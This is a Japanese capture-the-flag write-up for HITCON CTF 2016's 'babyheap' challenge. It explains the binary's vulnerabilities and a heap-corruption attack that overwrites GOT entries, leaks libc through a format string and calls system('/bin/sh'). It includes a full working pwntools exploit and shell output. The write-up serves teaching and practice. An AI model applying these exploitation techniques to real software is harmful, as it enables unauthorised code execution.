0: 参考
bataさんの良問リスト
問題ファイル
1: イントロ
bataリストの medium-easy
HITCON CTF 2016の300点問題 "babyheap"
2: 表層解析
./babyheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=2cf55840293ae4d6ddc13488c57b8009e598642f, stripped
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled
3: プログラムの概要と脆弱性
heap領域へのmalloc,delete,editができる
但しdelete,editの回数はglobal変数に記録され
それぞれ2回以上呼ばれた瞬間に_exit()で落ちる
mallocは同時に一度しかできない
見つけた脆弱性は以下の通り
1=malloc sizeを10進16文字でしか指定できないがunsigned longキャストしているため非常に大きい値をとれる
2=contentの入力でheapにおいてNULL overflow
3=nameの入力で隣接するcontent malloc addrへのNULL overflow
4=本当にExitするかのユーザへの確認にscanf()を使っている
今回主に使用するのは3と4の脆弱性
4: exploitの概要
実験していて気づいたが
scanfのbufがheap領域に作られている
(以下は"n"*0x100ほど入力したときのheapの様子)
0x14c5250 PREV_INUSE { mchunk_prev_size = 0, mchunk_size = 4113, fd = 0x6e6e6e6e6e6e6e6e, bk = 0x6e6e6e6e6e6e6e6e, fd_nextsize = 0x6e6e6e6e6e6e6e6e, bk_nextsize = 0x6e6e6e6e6e6e6e6e }
さて
前述したように3の脆弱性を用いて
content bufferのアドレスの下1byteをNULL overflowすることができる
これによってedit/freeする際に参照するchunkアドレスを前方向にずらすことができる
自動で作られるstructure chunkのアドレスはわからないため
overflowによるアドレスの変化は0x0~0xf8で定まらないため
っ先ほどのscanf bufを偽chunkのsize headerで汚染しこのゆらぎを緩衝する
この後にfreeをすると
structure chunkはちゃんと0x20 tcacheに入るが
content chunkは汚染したヘッダに従い0x120 tcacheに入る
よって次に0x120でmallocしたときに
content chunkはstructure chunkを内包するようになり
content chunkのアドレスを任意に書き換えられるようになる
さてwrite-where-what状態になった
次に以下のGOTを書き換える
・atoi->scanf: これによって生じるFSBでprintf()のlibc addrをleak
・_exit->ret_gadget: edit/deleteを複数回できるようにする
pwndbg> telescope 0x602020-0x10 40 00:0000│ 0x602010 —▸ 0x7f9db58fc680 (_dl_runtime_resolve_xsave) ◂— push rbx 01:0008│ 0x602018 —▸ 0x7f9db558b950 (free) ◂— push r15 02:0010│ 0x602020 —▸ 0x400746 (_exit@plt+6) ◂— push 1 03:0018│ 0x602028 —▸ 0x7f9db5626e60 (__read_chk) ◂— cmp rdx, rcx 04:0020│ 0x602030 —▸ 0x7f9db55749c0 (puts) ◂— push r13 05:0028│ 0x602038 —▸ 0x400776 (__stack_chk_fail@plt+6) ◂— push 4 06:0030│ 0x602040 —▸ 0x7f9db5558e80 (printf) ◂— sub rsp, 0xd8 07:0038│ 0x602048 —▸ 0x7f9db55d8840 (alarm) ◂— mov eax, 0x25 08:0040│ 0x602050 —▸ 0x7f9db5604070 (read) ◂— lea rax, [rip + 0x2e0881] 09:0048│ 0x602058 —▸ 0x7f9db5515ab0 (__libc_start_main) ◂— push r13 0a:0050│ 0x602060 —▸ 0x7f9db5532da0 (ssignal) ◂— lea eax, [rdi - 1] 0b:0058│ 0x602068 —▸ 0x7f9db558b070 (malloc) ◂— push rbp 0c:0060│ 0x602070 —▸ 0x7f9db55752f0 (setvbuf) ◂— push r13 0d:0068│ 0x602078 —▸ 0x7f9db5534680 (atoi) ◂— sub rsp, 8 0e:0070│ 0x602080 —▸ 0x7f9db556fec0 (__isoc99_scanf) ◂— push rbx 0f:0078│ 0x602088 ◂— 0x0
他のGOTは成城通りに動作するように
PLT+0x6で書き換える
(PLT+0x0ではうまく行かず実験したらこの値でうまく行った)
こうしてlibc baseを計算したら
再びatoi()のGOTを書き換えてsystemにする
あとはatoi()の引数に"/bin/sh"を渡したらそれで終わり
5: exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./babyheap" rhp1 = {"host":"svc.pwnable.xyz","port":0} rhp2 = {'host':"localhost",'port':12600} context(os='linux',arch='amd64') binf = ELF(FILENAME) def new(conn,size,content,name): conn.recvuntil(":") conn.sendline("1") conn.recvuntil(":") conn.sendline(str(size)) conn.recvuntil(":") conn.sendline(content) conn.recvuntil(":") conn.send(name) def delete(conn): conn.recvuntil(":") conn.sendline("2") def edit(conn,content): conn.recvuntil(":") conn.sendline("3") conn.recvuntil(":") conn.send(content) def _exit(conn,sentence): conn.recvuntil(":") conn.sendline("4") conn.recvuntil(")") conn.send(sentence) ret_gadget = 0x00400711 main_addr = 0x400c9e offset_printf = 0x64e80 #offset_printf = 0x557b0 offset_system = 0x4f440 #offset_system = 0x45380 def exploit(conn): print("GOT atoi: "+hex(binf.got["atoi"])) print("GOT _exit: "+hex(binf.got["_exit"])) #pollute scanf buffer and prepare size header(0x121) of fake chunk _exit(conn,"n"*8 + p64(0x121)*(4096/8 - 8)) new(conn,0x80,"A"*0x70,"B"*8) delete(conn) #overwrite GOTs inj = p64(binf.plt["free"]+6) inj += p64(ret_gadget) #_exit inj += p64(binf.plt["__read_chk"]+6) inj += p64(binf.plt["puts"]+0x6) inj += p64(binf.plt["__stack_chk_fail"]+6) inj += p64(binf.plt["printf"]+6) inj += p64(binf.plt["alarm"]+6) inj += p64(binf.plt["read"]+6) inj += p64(binf.plt["__libc_start_main"]+6) inj += p64(binf.plt["signal"]+6) inj += p64(binf.plt["malloc"]+6) inj += p64(binf.plt["setvbuf"]+6) inj += p64(binf.plt["printf"]) #atoi new(conn,0x110,p64(binf.got["free"])*(0x100/8),"C") edit(conn,inj) #leak printf() in libc using scanf replaced with printf() conn.recvuntil(":") conn.sendline("%9$sABCD"+p64(binf.got["printf"])) printf_addr = unpack(conn.recvuntil("ABCD")[:-4].ljust(8,"\0")) #calc some addrs libc_base = printf_addr - offset_printf system_addr = libc_base + offset_system print("diff printf-system"+hex(printf_addr-system_addr)) print("printf: "+hex(printf_addr)) print("libc base: "+hex(libc_base)) print("system: "+hex(system_addr)) #re-overwrite GOTs inj = inj[:-8] + p64(system_addr) conn.recvuntil(":") conn.send("AB\n\0") #atoi() is now printf(). so give three chars and make return 3 to choose 3:Edit. conn.recvuntil(":") conn.send(inj) #invoke system() instead of atoi() conn.recvuntil(":") conn.sendline("/bin/sh\n") if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
結果
[*] Switching to interactive mode Done! ######################### Baby Heap ######################### 1 . New 2 . Delete 3 . Edit 4 . Exit ######################### Your choice:$ cat /flag FLAG={thi5_i5_t35t_f1ag}
続く・・・